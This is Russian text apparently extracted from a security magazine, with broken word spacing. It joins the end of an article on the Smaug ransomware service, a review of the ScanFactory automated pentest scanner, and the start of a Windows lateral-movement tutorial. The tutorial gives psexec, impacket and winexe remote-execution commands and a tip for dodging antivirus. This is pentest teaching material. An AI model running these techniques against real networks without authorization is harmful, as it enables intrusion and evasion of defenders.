Сер вис пре дос тавля ет ключ для дек рипта информа ции пос ле перево да необ‐ 
ходимой сум мы в BTC, но дает воз можность рас шифро вать один файл бес‐ 
плат но в тес товом режиме. Плат форма взи мает комис сию 20% за все тран‐ 
закции и авто мати чес ки начис ляет Bitcoin в кошелек аген та. Smaug ведет ста‐ 
тис тику  кам пании  по  трем  показа телям:  сум ме  вып лат,  чис лу  посети телей
и количес тву пла тежей.

Мал варь  шиф рует  информа цию  толь ко  на  жес тком  дис ке  компь юте ра
и самос тоятель но не рас простра няет ся по локаль ной сети, что бы сок ратить
веро ятность  обна руже ния  анти виру сом.  Раз работ чики  Smaug  зап реща ют
выпол нять  ата ки  на  тер ритории  стран  СНГ,  кро ме  того,  сер вис  начали
пиарить на рус ско языч ном форуме в дар кне те, поэто му скла дыва ется впе чат‐ 
ление, что за соз дани ем плат формы сто ят выход цы из Сод ружес тва. Сер вис
берет высокую комис сию и огромную пла ту за регис тра цию, но сер вер сай та
работа ет  нес табиль но  и  пери оди чес ки  отклю чает ся.  То  ли  с  под дер жкой
не все глад ко, то ли кон курен ты дидосят.

В  кон це  сен тября  работ ники  Virus  Total    эффектив ность
исполь зования  анти виру сов  для  борь бы  со  Smaug  и  выяс нили,
что  44  из  67  прог рамм  смог ли  его  иден тифици ровать.  Вре донос  уда ляет
исходные фай лы пос ле шиф рования и генери рует уни каль ные клю чи, поэто му
дек рипто ры не работа ют. Из‐за это го пос тра дав шим, которые хотят вос ста‐ 
новить дос туп к информа ции, не оста ется ничего ино го, кро ме как зап латить
выкуп. Одна ко вирус не уда ляет резер вные и теневые копии фай лов, поэто му
бэкап — самая надеж ная защита от Smaug.

про тес тирова ли

ВЫВОДЫ
Стать  низ шим  зве ном  в  кибер прес тупной  пирами де  в  наши  вре мена  лег че
лег кого, и цены на вре донос ное ПО начина ются с несерь езных 15 дол ларов.
Но, я думаю, ты отлично понима ешь, почему раз работ чики прог рамм‐вымога‐ 
телей вмес то того, что бы при менять свои тво рения, про дают их по под писке
подоб но Office 365 и Adobe CS. Сто ит записать ся в эту оче редь, и ты гаран‐ 
тирован но ста нешь край ним.

https://www.virustotal.com/gui/file/4824c68f18089c44af8426b9a2d7960f5caa572777a46b3a172093b321acbf1d/detection
https://www.virustotal.com/gui/file/f2363a355fe226cb2f7f1afa72daecc5edfe1cb0edc1295856fb3f874d941b6d/detection
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ВЗЛОМ

Каж дый безопас ник рано или поз дно задумы вает ся об авто‐ 
мати зации сво ей работы. С такими же задача ми стол кну лись

  и Ана толий  « » Ива нов. Они  начали
с  неболь ших шагов  по  авто мати зации  рутин ных  пен тестер‐ 
ских  задач  и  их  монито рин га,  а  затем  прев ратили  свои
наработ ки  в  сер вис  .  Редак ция  «Хакера»  пооб‐ 
щалась  с  Вла дими ром  Ива новым  и  самос тоятель но  опро‐ 
бова ла сер вис.

Вла димир Ива нов c0rv4x

ScanFactory

Не важ но, занима ешь ся ли ты ауди том, работа ешь безопас ником или учас тву‐ 
ешь в прог раммах баг баун ти, — на пер вом эта пе пен теста час то ты будешь
про водить  одни  и  те  же  под готови тель ные  дей ствия:  собирать  под домены,
ска ниро вать айпиш ники, переби рать дирек тории и так далее. Авто мати зиро‐ 
вать  все  это  край не  соб лазни тель но.  Задал  парамет ры,  нажал  кноп ку  «ска‐ 
ниро вать» — и мож но про дол жать занимать ся сво ими делами, пока не при дут
отче ты.

Соз датели ScanFactory, как и дру гие пен тесте ры со ста жем, тоже стол кну‐ 
лись с этой задачей и сна чала ста ли решать ее для себя, а затем это вырос ло
в неч то боль шее.

WWW

  —  опен сор сный  про ект,  соз данный
Ана толи ем Ива новым во вре мя работы в Positive
Technologies.

Project  Black

«ScanFactory соз давал ся в пер вую оче редь как про дукт, который приз ван эко‐ 
номить вре мя и день ги ком пании. Он будет полезен как blue  team, так и  red
team — людям, которые выпол няют оди нако вые задачи в области тес тирова‐ 
ния  инфраструк туры на  про ник новение», —  говорит Вла димир Ива нов.  «Мы
очень  гор ды  нашим  тво рени ем,  —  про дол жает  он.  —  И  даже  нем ножко
страш но от  воз можнос тей,  которые мы получи ли,  потому  что мы пок рыва ем
боль шинс тво сце нари ев базово го пен тестер ско го ауди та».

Сей час  ScanFactory  находит ся  в  ста дии  ста биль ной  беты  и  уже  исполь‐ 
зует ся в качес тве пилотов в ком пани ях. Как в любом B2B‐про дук те, все воп‐ 
росы  реша ются  инди виду аль но  с  кли ентом,  про ект  выс тра ивает ся  под  его
нуж ды  и,  по  сло вам  раз работ чиков,  запус кает ся  в  течение  дня.  Так же  они
готовы  раз рабаты вать  и  интегри ровать  фичи,  которые  могут  понадо бить ся
круп ному кли енту.

ЧТО МОЖНО АВТОМАТИЗИРОВАТЬ?
Ес ли  задать ся  воп росом,  что  вооб ще  дела ет  пен тестер,  то  в  общих  чер тах
мож но  отве тить  так:  он,  опи раясь  на  опыт,  ищет  вари ант  вза имо дей ствия
с  при ложе нием,  не  пре дус мотрен ный  логикой,  и  про бует  рас кру тить  его
до пол ноцен ной уяз вимос ти. Поэто му пер вая задача — в том, что бы соб рать
как мож но боль ше точек вхо да в иссле дуемую инфраструк туру.

На  этом  эта пе  обна ружи вает ся  одна  из  сла бос тей  челове ка  —  он
не может пос тро ить в голове граф из всех вари антов того, где потен циаль но
мог ли бы быть уяз вимос ти на внеш нем перимет ре. Челове чес кие воз можнос‐ 
ти огра ничен ны!

По это му  слу чает ся  так,  что  некото рые  уяз вимос ти  про ходят  мимо  глаз
иссле дова телей  и  дол гое  вре мя  оста ются  ненай ден ными.  В  ауди те  очень
важ ны  лич ные  качес тва  челове ка  (нас коль ко  он  усер ден,  к  при меру)  и  его
опыт: с какими вари анта ми необыч ного поведе ния при ложе ний он стал кивал‐ 
ся и какие спо собы их экс плу ата ции уже при менял.

Для авто мати зации,  конеч но же, сущес тву ет самый раз ный софт, при чем
выбор  инс тру мен тария  есть  поч ти  в  каж дой  из  областей.  В  нашем  рас‐ 
поряже нии  —  веб‐ска неры  (Burp,  Acunetix,  Netsparker),  инфраструк турные
ска неры (Nessus), а так же все воз можные сетевые ска неры, дир басте ры, ска‐ 
неры CMS и про чее. Поч ти каж дый день появ ляет ся что‐то новое. Если авто‐ 
мати зиро вать все, что сущес тву ет, это поз волит силь но рас ширить пок рытие
того самого гра фа уяз вимос тей.

На челове ка при этом ложит ся задача свя зать меж ду собой все эти средс‐ 
тва.  Гру бо  говоря,  выход ные  дан ные  одной  прог раммы  дол жны  пос тупать
на  вход дру гой,  а  ее резуль таты работы — сле дующей. Но  у  этих  прог рамм
нет  какого‐то  еди ного  высоко уров невого  интерфей са,  и  они  обыч но
не задума ны как часть какого‐то набора. Сле дова тель но, авто мати зация ста‐ 
новит ся нет риви аль ной задачей. «Мы прог рам мно соеди нили про ги, которые
ник то рань ше не мог  соеди нить», — с  гор достью сооб щает Вла димир Ива‐ 
нов.

Идея  решить  эту  задачу  лежит  в  осно ве  ScanFactory.  Если  обоб щить,  то
ScanFactory  —  это  SaaS  для  авто мати зиро ван ной  оцен ки  защищен ности
внеш ней инфраструк туры. Он  ска ниру ет  периметр,  обна ружи вает  проб лемы
безопас ности и опо веща ет о них, а так же выпол няет монито ринг для отсле‐ 
жива ния новых проб лем в будущем.

КАК РАБОТАТЬ СО SCANFACTORY
Да вай для начала пред ста вим себе сфе ричес кий пен тест в ваку уме. Заказ чик
говорит,  что  в  ско упе  все под домены основно го  сай та  ком пании,  нап ример

.*.company.corp
На ши дей ствия будут сле дующи ми.

1. Сос тавля ем спи сок всех под доменов и получа ем их IP‐адре са.
2. За пус каем ска нер пор тов, нап ример Nmap. На вход отправ ляем IP из пре‐ 
дыду щего шага, а на выходе получа ем откры тые пор ты и спи сок запущен‐ 
ных сер висов.

3. Най ден ные  веб‐сер висы  отправ ляем  в  дир бастер,  что бы  соб рать  инте‐ 
рес ные фай лы и дирек тории, а на бинар ных — бру тим пароли.

4. Про ходим ся по веб‐сер висам кра уле ром с целью соб рать фор мы, домены
и HTTP‐зап росы. Для каж дого нового домена пов торим алго ритм с шага 2.

5. HTTP‐зап росы  отправ ляем  в  фаз зер,  что бы  най ти  скры тые  парамет ры
и про ана лизи ровать их. И даль ше в таком же клю че.

При  исполь зовании ScanFactory  все  эти  дей ствия  выпол няют ся  в  нес коль ко
кли ков.  Соз даем  новый  про ект  и  ука зыва ем  ско уп  со  звез дочкой: 

.*.company.corp

Соз дание нового про екта в ScanFactory

Здесь же мож но ука зать чер ный спи сок  IP‐адре сов и доменов, находя щих ся
вне ско упа.

За тем на стра нице про екта дос таточ но прос то нажать на кноп ку запус ка.

Стра ница про екта в ScanFactory

Те перь  мож но  завари вать  кофе  и  занимать ся  дру гими  делами  в  ожи дании
резуль татов. При мер отска ниро ван ного про екта с най ден ными уяз вимос тями
ты можешь уви деть на стра нице с  .Live Demo

Стра ница ScanFactory с най ден ными уяз вимос тями

КАК SCANFACTORY ИЩЕТ СЛОЖНЫЕ УЯЗВИМОСТИ
Вот  как Вла димир Ива нов опи сыва ет сце нарий,  в  котором ScanFactory поз‐ 
воля ет  най ти,  про верить  и  рас кру тить  цепоч ку  из  нес коль ких  уяз вимос тей,
которая при руч ном ска ниро вании, ско рее все го, оста лась бы незаме чен ной:

У нас есть осно ван ный на Selenium кра улер, который ходит по сай там.
Он заходит на сайт, рен дерит стра ницу и видит, что там авто мати чес- 
ки  под гру жает ся файл  на  JS.  Кра улер  смот рит  внутрь  него  и  видит,
что в ком мента риях к скрип ту раз работ чик оста вил ссыл ку или домен
какого‑то  тес тового  стен да,  который  еще  ниг де  не  встре чал ся  и  о
котором не было извес тно.

Этот  домен  помеща ется  в  базу.  Далее  пла ниров щик  видит,  что
в базе появил ся новый домен. Он берет этот домен и соз дает спи сок
задач уже для него. Ска ниру ются пор ты, и дир бастер находит скры тую
пап ку  со  скрип тами. В  одном из  них — дав но  забытая POST-фор ма.
Спе циаль ная ути лита находит в фор ме скры тый параметр, при отправ- 
ке которо го ответ на стра нице изме нит ся.

По лучен ный  HTTP-зап рос  со  скры тым  парамет ром  сох раня ется
и отправ ляет ся в BurpSuite, который и находит SQL-инъ екцию.

Еще один сце нарий уяз вимос ти, которую может обна ружить ScanFactory

Во вре мя одно го из пер вых тес тов пар ни стол кну лись с проб лемой ска ниро‐ 
вания сай тов с боль шим количес твом похожих стра ниц. Нап ример, в бло гах
и  новос тных  сай тах  они могут  исчислять ся  тысяча ми. Поэто му  схо жие  стра‐ 
ницы  нуж но  игно риро вать,  а  ата ковать  дос таточ но  одну.  Что бы  срав нивать
стра ницы меж ду собой,  в ScanFactory исполь зуют  тех нологию Fuzzy Hashing
на осно ве алго рит ма  , который при меня ется в Google.SimHash

INFO

SimHash на осно ве эле мен тов HTML‐дерева счи‐ 
тает  хеш‐фун кцию  так,  что  у  двух  похожих  стра‐ 
ниц  будут  похожие  хеши.  Если  стра ницы  отли‐ 
чают ся  мень ше,  чем  на  порого вое  зна чение,  то
соот ветс тву ющие зап росы мож но не ска ниро вать
дваж ды. Но как опре делить порого вое зна чение —
тема для отдель ной статьи.

Так же для каж дого кли ента сис тема авто мати чес ки генери рует спе циаль ные
сло вари.  Во  вре мя  обхо да  сай тов  кра улер  вытас кива ет  из  стра ниц  час то
встре чающиеся  клю чевые  сло ва.  Получа ется  спи сок  слов,  спе цифич ных
для  ком пании  и  сфе ры  деятель нос ти.  Эти  сло вари  исполь зуют ся  во  вре мя
брут форса паролей, а так же для поис ка скры тых под доменов.

АРХИТЕКТУРА SCANFACTORY
Внут ри у ScanFactory — слож ная сис тема вза имо дей ству ющих пен тестер ских
ути лит,  все го  их  более  20  штук.  Каж дая  ути лита  запус кает ся  в  отдель ном
Docker‐кон тей нере,  а  управле нием  сис темы  занима ется  ядро.  В  ядре  опи‐ 
сано, как имен но про исхо дит ска ниро вание, вся пос ледова тель ность запус ка
прог рамм, час тота сра баты вания каж дой из них и про чие опции для каж дой.

Список используемого софта

Burp Suite + 12 пла гинов•
Nessus•
Amass + шесть плат ных API•
GoAltdns•
Nmap•
Nuclei•
Кра улер на осно ве Selenium•
Dirsearch•
ffuf•
Patator•
SubFinder•
subjack•
waybackurls•
WPScan•

Важ ная задача, которую уда лось решить раз работ чикам, — это при ори тиза‐ 
ция задач. В осно ве ScanFactory лежат оче реди. Как толь ко появ ляет ся HTTP‐
зап рос,  в  котором,  нап ример,  есть фор ма  с  инте рес ными  парамет рами,  то
задача его обра бот ки ста новит ся при ори тет ной — сер вис будет ска ниро вать
такую стра ницу рань ше дру гих.

Для каж дой ути литы, бес плат ная она или ком мерчес кая, написа на обер тка
на Python. Она  под писыва ется  на  оче редь  и  через  оче редь  получа ет  новую
задачу  —  ссыл ку  на  какой‐то  внут ренний  объ ект.  Объ екты  быва ют  раз ных
типов: про екты,  хос ты, HTTP‐зап росы и дру гие. Обер тка их при нима ет, ана‐ 
лизи рует  и  на  выход  отда ет  дан ные,  которые  при водят ся  к  одно му  виду,
а затем про ходят через ряд внут ренних мик росер висов. В кон це дан ные сох‐ 
раня ются в MongoDB.

Че рез мик росер висы реали зова ны все допол нитель ные фичи, в том чис ле
упо мяну тое срав нение похожих стра ниц, поиск дан ных в HTTP‐отве те и про‐ 
чее. Нап ример, ког да нашел ся новый домен, нуж но про верить, вхо дит ли он
в  ско уп,  опре делить  при ори тет  его  ска ниро вания  и  выпол нить  дру гие  опе‐ 
рации. Все это дела ется с помощью мик росер висов.

Что бы упростить мас шта биро вание, раз работ чики исполь зуют Kubernetes.
Эта  тех нология  поз воля ет  ScanFactory  мас шта биро вать  ресур сы  в  зависи‐ 
мос ти от количес тва задач в оче реди. Нап ример, если нуж но прос каниро вать
пул  IP‐адре сов,  для  это го  сна чала  уве личи вает ся  чис ло  кон тей неров Nmap,
потом  чис ло  кон тей неров  с  обра бот чиком  HTTP‐отве та,  а  затем  ресур сы
осво бож дают ся, пока сис тема ждет сле дующих задач.

За  два  года  раз работ ки  ребятам  уда лось  решить  огромное  количес тво
воз ника ющих проб лем. Как спро екти ровать модель дан ных? Как опти маль но
хра нить HTTP зап росы и отве ты? Как рас став лять при ори теты для задач ска‐ 
ниро вания? Как обна ружи вать ано малии во вре мя фаз зинга? Как опти мизи‐ 
ровать  ска ниро вание  боль ших  про ектов?  Как  нор мализо вывать  резуль таты
работы раз ных прог рамм?

КОНКУРЕНТЫ
«Наша  коман да  пос тоян но  монито рит  ИБ‐комь юни ти  в  поис ках  новых
методов  для  решения  задач. Это  важ ный  про цесс,  потому  что  каж дый  день
появ ляет ся что‐нибудь новое, а мы хотим, что бы наш про дукт был ком пиляци‐ 
ей луч ших тех ник из того, что есть сей час», — рас ска зыва ет Ана толий Ива нов.

Имен но поэто му архи тек туру интегра ции новых  ути лит раз работ чики ста‐ 
рают ся  сде лать  мак сималь но  прос той,  что бы  мож но  было  добав лять  новую
ути литу за нес коль ко дней. «Новые решения, прог раммы или тех нологии лег‐ 
ко  интегри ровать.  Будь  то  самопис ная  ути лита,  све жий  экс пло ит  или  набор
репор тов с баг баун ти», — объ ясня ет Ана толий.

Глав ное отли чие ScanFactory от кон курен тов — это как раз проз рачность
в  выборе  соф та  и  алго рит мов  работы.  Чаще  все го  такие  решения  проп‐ 
риетар ные, нап ример Nessus фир мы Tenable или Qualys WAS. С ними никог да
не зна ешь, что они будут делать пос ле нажатия на кноп ку Scan.

«Чаще  все го  такие  решения  рас смат рива ют  каж дый  объ ект  внеш ней
инфраструк туры как отдель ный, то есть никак не свя зан ный с дру гими, — рас‐ 
ска зыва ет Ана толий Ива нов. — Гру бо говоря, запус кает ся один боль шой кон‐ 
тей нер,  в  котором  вор керы  выпол няют  один  и  тот  же  зашитый  раз работ‐ 
чиками перечень про верок для одно го домена. Есть некий условный спи сок
уяз вимос тей, который они пыта ются обна ружить. А мы пыта емся научить сис‐ 
тему свя зывать раз нород ные дан ные, рас кру чивая их до уяз вимос ти, как это
дела ет пен тестер».

ВПЕЧАТЛЕНИЯ
С точ ки зре ния пен тесте ра, ска нер вро де ScanFactory — это потен циаль ный
помощ ник,  которо му мож но  было бы  доверить  рутин ную  часть  ауди та. Мне,
к  при меру,  всег да  хотелось  авто мати зиро вать  сбор  и  запуск  все воз можных
ска неров до уров ня «задал ско уп и нажал кно поч ку».

Осо бен но  инте рес но  было  сле дить,  как  одна  за  дру гой  запус кают ся
и  отра баты вают  задачи  и  ути литы.  Все  это  мож но  пос мотреть  в  режиме
реаль ного вре мени с гра фика ми и ста тис тикой. Пос ле завер шения ска ниро‐ 
вания получа ешь гра фик и ста тис тику по най ден ным уяз вимос тям и их уров ню
опас ности. На гра фике вид но, ког да и какие баги были най дены.

Ре зуль таты ска ниро вания про екта. Ста тис тика най ден ных уяз вимос тей
и их уров ня опас ности

Впро чем,  наг ляднос ти  в  пред став лении  най ден ной  информа ции  мог ло  бы
быть  и  поболь ше.  Я  бы  не  отка зал ся  видеть  всю  прос каниро ван ную
инфраструк туру  ком пании:  что  и  на  каком  IP  или  домене  наш лось.  Сей час
мож но прос матри вать и выг ружать толь ко то, что сис тема пос читала алер том.
В этот же спи сок попада ют и резуль таты работы ути лит.

За то ScanFactory поз воля ет пос мотреть и выг рузить все алер ты, которые
были най дены во вре мя ска ниро вания. Выг рузка алер тов — это очень полез‐ 
ная шту ка, осо бен но для даль нейшей авто мати зации. Нап ример, ска нер мож‐ 
но интегри ровать с Jira, что бы най ден ные проб лемы сра зу заноси лись туда.

Най ден ные под домены в алер тах ScanFactory

В целом, конеч но, этот про дукт не сов сем для меня. Он соз давал ся как инс‐ 
тру мент  для  ком паний,  которые  хотят  уси лить  безопас ность  сво ей
инфраструк туры и иметь воз можность отсле живать появ ляющиеся проб лемы
безопас ности.

К  при меру,  если  в  про дак шен  по  недос мотру  адми на  вдруг  нач нет  выг‐ 
лядывать  что‐то,  что  выг лядывать  не  дол жно,  ска нер  обна ружит  это  и  сра зу
опо вес тит. Проб лема не про сущес тву ет до сле дующе го ауди та или, чего доб‐ 
рого, взло ма. Да и аудит, меж ду про чим, не дает пол ных гаран тий: люди мыс‐ 
лят по‐раз ному, поль зуют ся раз ными тул зами, обра щают вни мание на раз ные
аспекты и могут что‐то про пус тить.

ScanFactory,  по  сути,  берет  на  себя  рутину,  которую  обыч но  выпол няют
безопас ники со сто роны вен доров. Отдать ее роботам — здра вое решение.
Пус кай обхо дят периметр 24 часа в сут ки и 365 дней в году!

Ник то  при  этом  не  говорит,  что  ScanFactory  заменит  пла новые  ауди ты.
Авто мати зация  не  най дет  слож ные  логичес кие  баги,  не  в  каж дой  сис теме
спра вит ся с прег радами вро де аутен тифика ции и не про фаз зит все методы
API (хотя над этим работа ют). Ска нер — это еще одно хорошее креп кое зве но
для пос тро ения и под держа ния безопас ного про дук та.

Так что жела ем ребятам боль ших ком мерчес ких успе хов и ждем новос тей
о пот ряса ющих новых фичах.

https://twitter.com/iamsecurity
https://sg.linkedin.com/in/httpsonly
https://twitter.com/c0rv4x
https://scanfactory.io/
https://github.com/c0rvax/project-black
https://demo.scanfactory.io/alerts
https://en.wikipedia.org/wiki/SimHash
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ВЗЛОМ

Про ник новение  в  ата куемую  сеть  —  толь ко  пер вый  этап
взло ма.  На  вто ром  эта пе  необ ходимо  в  ней  зак репить ся,
получить  учет ные  записи  поль зовате лей  и  обес печить  воз‐ 
можность  запус ка  про изволь ного  кода.  В  сегод няшней
статье  мы  погово рим  о  методах,  поз воля ющих  добить ся
этой цели, а так же о том, как выпол няет ся боковое переме‐ 
щение в ском про мети рован ной сети.

INFO

Чи тай  так же:  «
».

Кунг‐фу  pivoting.  Выжима ем  мак‐ 
симум из пос тэкс плу ата ции

Пос ле того как ты про ник за внеш ний периметр и попал во внут реннюю сеть
ком пании,  необ ходимо  рас ширить  в  ней  собс твен ное  при сутс твие,  если
хочешь  най ти  там  что‐то  инте рес ное.  Как  ни  стран но,  чем  боль ше  раз мер
внут ренней  сети  ком пании,  тем  про ще  ее  взло мать.  И  нап ротив,  если  ком‐ 
пания сов сем неболь шая, сеть взло мать порою край не слож но. Почему так?
Чем боль ше сеть, тем боль ше в ней может встре тить ся уяз вимых или небезо‐ 
пас но нас тро енных ком понен тов. При этом час то ком про мета ция одно го узла
вле чет за собой ком про мета цию сра зу мно жес тва смеж ных с ним узлов.

Во  внут ренних  сетях  обыч но  пре обла дают  сер веры  и  рабочие  стан ции
под управле нием Windows. В то же вре мя эта ОС наибо лее инте рес на с точ ки
зре ния  спо собов  ком про мета ции,  так  как  по  умол чанию  име ет  мно жес тво
интерфей сов для уда лен ного выпол нения кода. Кро ме того, ата кующе му дос‐ 
тупно  боль шое  количес тво  спо собов  извле чения  учет ных  дан ных.  Я  не  буду
касать ся  боково го  переме щения  по  сер верам  Linux:  они  ред ко  вклю чены
в домен и не име ют  такого раз нооб разия дефол тных интерфей сов для  уда‐ 
лен ного  адми нис три рова ния.  При  боковом  переме щении  Linux  инте ресен
глав ным обра зом как удоб ная точ ка опо ры.

Бо ковое переме щение под разуме вает легитим ное уда лен ное исполне ние
кода. То есть все пред став ленные в статье спо собы под разуме вают наличие
дей ству ющей учет ной записи для того или ино го ПК. При этом поч ти всег да
будет тре бовать ся адми нис тра тив ная учет ная запись.

Ос новная  задача  при  боковом  переме щении  —  прив лекать  как  мож но
мень ше вни мания поль зовате лей и служ бы безопас ности, а так же пос тарать‐ 
ся не выз вать тре вогу у средств анти вирус ной защиты. Наибо лее эффектив но
исполь зовать штат ные средс тва опе раци онной сис темы,  то есть  абсо лют но
легитим ные и неот личимые от дей ствий обыч ных адми нис тра торов сети.

Мы не будем обсуждать основные уяз вимос ти Windows, ата ки в локаль ных
сетях  и  спо собы  под нять  при виле гии  в  сре де  Active Directory.  Вмес то  это го
погово рим исклю читель но о легаль ных вещах: в каких пота енных угол ках Win‐
dows мож но най ти учет ные записи и что с ними потом делать. Все пред став‐ 
ленные даль ше спо собы не счи тают ся уяз вимос тями, а пред став ляют собой
трю ки  by  design,  сле дова тель но,  при  гра мот ном  исполне нии  это  пол ностью
легаль ные про цеду ры.

Все при меры осно ваны на реаль ных  ситу ациях,  с  которы ми мож но  стол‐ 
кнуть ся при переме щении по самым нас тоящим внут ренним сетям. Поэто му,
как  обыч но,  кос немся  проб лемы  мак сималь но  тихого  переме щения  с  воз‐ 
можностью  бай паса  анти виру сов,  а  так же  сде лаем  акцент  на  то,  какие
сетевые пор ты нам для это го пот ребу ются.

СТРАТЕГИЯ БОКОВОГО ПЕРЕМЕЩЕНИЯ
Итак, боковое переме щение — это одновре мен ное сочета ние двух тех ник:

аутен тифици рован ного уда лен ного выпол нения кода;•
из вле чения сек ретной информа ции пос ле получе ния дос тупа.•

Цик личное,  пос ледова тель ное  пов торение  этих  шагов  порою  поз воля ет
от  одно го‐единс твен ного  взло ман ного ПК  дой ти  до  пол ной  ком про мета ции
всей  сетевой  инфраструк туры.  Обыч но  боковое  переме щение,  как  вся кое
иное переме щение, прес леду ет одну из сле дующих целей:

пе рех ват управле ния кон трол лерами домена;•
дос тижение  изо лиро ван ных  кри тичес ких  сетевых  сег ментов  (нап ример,
АСУ ТП, SWIFT);

•

по иск  кри тичес кой информа ции на ПК  (сек ретные докумен ты,  пла теж ные
рек визиты и так далее).

•

Од нако для дос тижения любой из перечис ленных целей тре буют ся все новые
учет ные  дан ные,  что бы  у  ата кующе го  была  воз можность  переме щать ся
по  сети  и  получать  дос туп  ко  все  боль шему  количес тву  ПК.  Прод вижение
по  внут ренней  сети  ред ко  обхо дит ся  без  взя тия  кон трол лера  домена,  пос‐ 
коль ку  взя тие  домена  озна чает  авто мати чес кое  получе ние  дос тупа  прак‐ 
тичес ки  к  каж дому  узлу  сети.  Что  каса ется  ,  при  дос тижении
кон трол лера  домена может  показать ся,  что  поиск  при виле гиро ван ных  учет‐ 
ных записей — это сле пое уга дыва ние. Но в дей стви тель нос ти инфраструк‐ 
тура  Active  Directory  и  сама  Windows  рас кры вают  дос таточ но  информа ции
прос тому  домен ному  поль зовате лю,  зачас тую  поз воляя  рас счи тать  нуж ное
нап равле ние прод вижения и спла ниро вать точ ную мно гос тупен чатую цепоч ку
взло мов еще в самом начале боково го переме щения.

admins  hunting

Пос ле взя тия кон трол леров домена иног да быва ет необ ходимо дви гать ся
даль ше — в некий осо бо охра няемый сег мент, пред став ляющий собой объ‐ 
екты «биз нес‐рис ка». Это может быть сег мент АСУ ТП, вме шатель ство в тех‐ 
нологи чес кий про цесс, дос туп в сег мент SWIFT, если мы име ем дело с бан‐ 
ками, либо же прос то дос туп на ПК генераль ного дирек тора. В каж дом слу чае
мы  можем  стол кнуть ся  с  раз ными  слож ностя ми  боково го  переме щения,
о которых пой дет речь даль ше.

УДАЛЕННОЕ ВЫПОЛНЕНИЕ КОДА В WINDOWS
Рас смот рим  нес коль ко  спо собов  уда лен ного  исполне ния  кода  в  Windows
с  помощью  учет ной  записи.  Некото рые  средс тва  пре дос тавля ют  удоб ный
инте рак тивный  режим,  а  некото рые  —  толь ко  сле пой  запуск  команд
без  получе ния  резуль тата.  Нач нем  обзор  с  самых  удоб ных  и  широко  рас‐ 
простра нен ных  инс тру мен тов  и  пос тепен но  перей дем  к  менее  популяр ным,
но все же спо соб ным исполнить код.

Часть инс тру мен тов заг ружа ет на target исполня емый файл служ бы, пыта‐ 
ясь  обес печить  нам  удоб ный  инте рак тивный  режим.  Но  тут  кро ется  опас‐ 
ность:  такие  сер висы  зачас тую  будут  заб локиро ваны  анти виру сом.  Плюс
к  это му  IP  ата кующе го  может  быть  заб локиро ван,  что  затор мозит  переме‐ 
щение. И SOC узна ет о том, что в сеть кто‐то про ник.

Боль шую  часть  боково го  переме щения  мы  будем  выпол нять  с  помощью
замеча тель ного Python‐пакета  . Для его уста нов ки тре бует ся выпол‐ 
нить  коман ду  .  Пос ле  уста нов ки  необ ходимые
исполня емые  фай лы  будут  находить ся  в  пап ке  ,  рас‐ 
положе ние которой под ска жет коман да  .

impacket
pip  install  impacket

impacket/examples
pip show ‐f impacket

MSRPC
Это реали зация DCERPC от Microsoft. По сути, рас ширя ет откры тый DCERPC
при помощи дос тупа через име нован ные пай пы с исполь зовани ем про токо ла
SMB. Глав ным обра зом исполь зует 445‐й TCP‐порт. Перечис лить дос тупные
пай пы по сло варю на SMB поможет модуль  .auxiliary/scanner/smb/pipe_auditor

psexec.exe
 • Про исхожде ние: sysinternals

 отсутс тву ет• AV-риск:

 135, 445, 4915x/TCP• Ис поль зуемые пор ты:

На чиная говорить об уда лен ном исполне нии кода в Windows, нель зя не упо‐ 
мянуть  небезыз вес тный    от  Мар ка  Рус синови ча.  Дан ная  прог рамма
поль зует ся  оди нако вой  популяр ностью  и  у  адми нис тра торов,  и  у  пен тесте‐ 
ров.  Прин цип  ее  работы  зак люча ется  в  копиро вании  исполня емо го  фай ла
через сетевой ресурс   с пос леду ющим уда лен ным соз‐ 
дани ем  и  запус ком  служ бы  для  это го  исполня емо го  фай ла  через 

  Пос ле  запус ка  служ бы  про исхо дит  обыч ное
сетевое вза имо дей ствие с уда лен ной коман дной стро кой:

psexec

«ADMIN$» (445/TCP)

.DCERPC (135,4915x/TCP)

psexec.exe ‐u admin \\target cmd

Глав ный плюс для нас в том, что сер верный ком понент   под‐ 
писан сер тифика том Sysinternals (который при над лежит Microsoft) и, сле дова‐ 
тель но,  стоп роцен тно  легитим ная  прог рамма.  Так же  к  явным  дос тоинс твам
клас сичес кого   отно сит ся спо соб ность выпол нять код в ука зан ных
поль зователь ских сеан сах:

psexecsvc.exe

psexec.exe

psexec.exe ‐u admin ‐i 2 \\target shutdown /l

psexec.py
 Python‐пакет impacket• Про исхожде ние:

 есть• AV-риск:

 445/TCP• Ис поль зуемые пор ты:

От личная  аль тер натива  для  поль зовате лей  Linux.  Одна ко  этот  инс тру мент
поч ти навер няка под нимет анти вирус ную тре вогу. Как было ска зано, все дело
в служ бе, которая копиру ется на уда лен ный хост. Это мож но испра вить, ука‐ 
зав  в  реали зации  метода    в 

  про изволь ную
коман ду,  которая  будет  выпол нена  вмес то  запус каемой  служ бы  уда лен ного
адми нис три рова ния.

createService() /usr/local/lib/python3.7/
dist‐packages/impacket/examples/serviceinstall.py

С помощью про изволь ной коман ды мож но скрыть запуск служ бы уда лен ‐
ного адми нис три рова ния

Что бы    не  ско пиро вал  палев ный  ком понент,  ука зыва ем  при нуди‐ 
тель но,  какой  файл  исполь зовать  в  качес тве  служ бы.  И,  пос коль ку  мы  уже
вруч ную про писа ли коман ду, этим фай лом может быть что угод но:

psexec.py

psexec.py ‐file somefile.txt admin@target

Та ким обра зом, мы нап рямую выпол нили коман ду  , что, конеч‐ 
но  же,  не  вызовет  реак ции  со  сто роны  анти виру сов.  Одна ко  подоб ная
модифи кация   лиша ет нас того удобс тва исполь зования, которое было
изна чаль но.

mkdir c:\pwn

psexec

winexe
 пакет • Про исхожде ние: winexe

 есть• AV-риск:

 445/TCP• Ис поль зуемые пор ты:

Бо лее  ста рый  натив ный  ана лог    под  Linux.  Как  и  ,  откры вает
уда лен ную инте рак тивную коман дную стро ку:

psexec psexec

winexe ‐U admin //target cmd

В  целом  он  пол ностью  иден тичен  дру гим  подоб ным  инс тру мен там,  одна ко
реже  обна ружи вает ся  анти виру сами.  Но  все  же  нель зя  ска зать,  что  winexe
на  сто  про цен тов  безопа сен.  Тем  не  менее  его  мож но  исполь зовать
для подс тра хов ки на слу чай, если   вдруг не сра бота ет.psexec.py

smbexec.py
  Python‐пакет  impacket  /  встро енный  ком понент

Windows
• Про исхожде ние:

 есть• AV-риск:

 445/TCP• Ис поль зуемые пор ты:

Уп рощен ный вари ант  , так же соз дающий служ бу, толь ко исполь зует ся
при  этом  исклю читель но MSRPC,  а  дос туп  к  управле нию  служ бами  устро ен
через SMB‐пайп  :

psexec

